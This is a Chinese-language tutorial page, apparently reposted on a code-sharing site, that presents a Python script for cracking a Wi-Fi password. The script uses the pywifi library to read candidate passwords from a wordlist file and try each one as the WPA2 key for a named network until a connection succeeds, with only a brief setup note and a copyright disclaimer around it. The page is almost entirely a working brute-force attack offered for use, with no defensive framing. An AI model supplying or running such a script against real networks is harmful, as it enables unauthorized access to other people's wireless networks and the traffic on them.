python破解wifi密碼


1.>安裝常用模塊和庫

time、pywifi等等

2.>編寫代碼

#!/usr/bin/env python
#-*- coding: UTF-8 -*-

import time  # 時間
import pywifi  # 破解wifi
from pywifi import const  # 引用一些定義
from asyncio.tasks import sleep


class PoJie():
    def __init__(self, path):
        self.file = open(path, "r", errors="ignore")
        wifi = pywifi.PyWiFi()  # 抓取網卡接口
        self.iface = wifi.interfaces()[0]  # 抓取第一個無限網卡
        self.iface.disconnect()  # 測試鏈接斷開所有鏈接

        time.sleep(1)  # 休眠1秒

        # 測試網卡是否屬於斷開狀態,
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def readPassWord(self):
        print("開始破解:")
        while True:

            try:
                myStr = self.file.readline()
                if not myStr:
                    break
                bool1 = self.test_connect(myStr)
                if bool1:
                    print("密碼正確:", myStr)
                    break
                else:
                    print("密碼錯誤:" + myStr)
                sleep(3)
            except:
                continue

    def test_connect(self, findStr):  # 測試鏈接

        profile = pywifi.Profile()  # 創建wifi鏈接文件
        profile.ssid = "e2"  # wifi名稱
        profile.auth = const.AUTH_ALG_OPEN  # 網卡的開放,
        profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi加密算法
        profile.cipher = const.CIPHER_TYPE_CCMP  # 加密單元
        profile.key = findStr  # 密碼

        self.iface.remove_all_network_profiles()  # 刪除所有的wifi文件
        tmp_profile = self.iface.add_network_profile(profile)  # 設定新的鏈接文件
        self.iface.connect(tmp_profile)  # 鏈接
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 判斷是否連接上
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 斷開
        time.sleep(1)
        # 檢查斷開狀態
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

        return isOK

    def __del__(self):
        self.file.close()


path = r"C:\Users\Administrator\Desktop\csdnwifi.txt"
start = PoJie(path)
start.readPassWord()

 

備注:路徑要跟距自己的情況來寫,哪有不對的再改改。。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM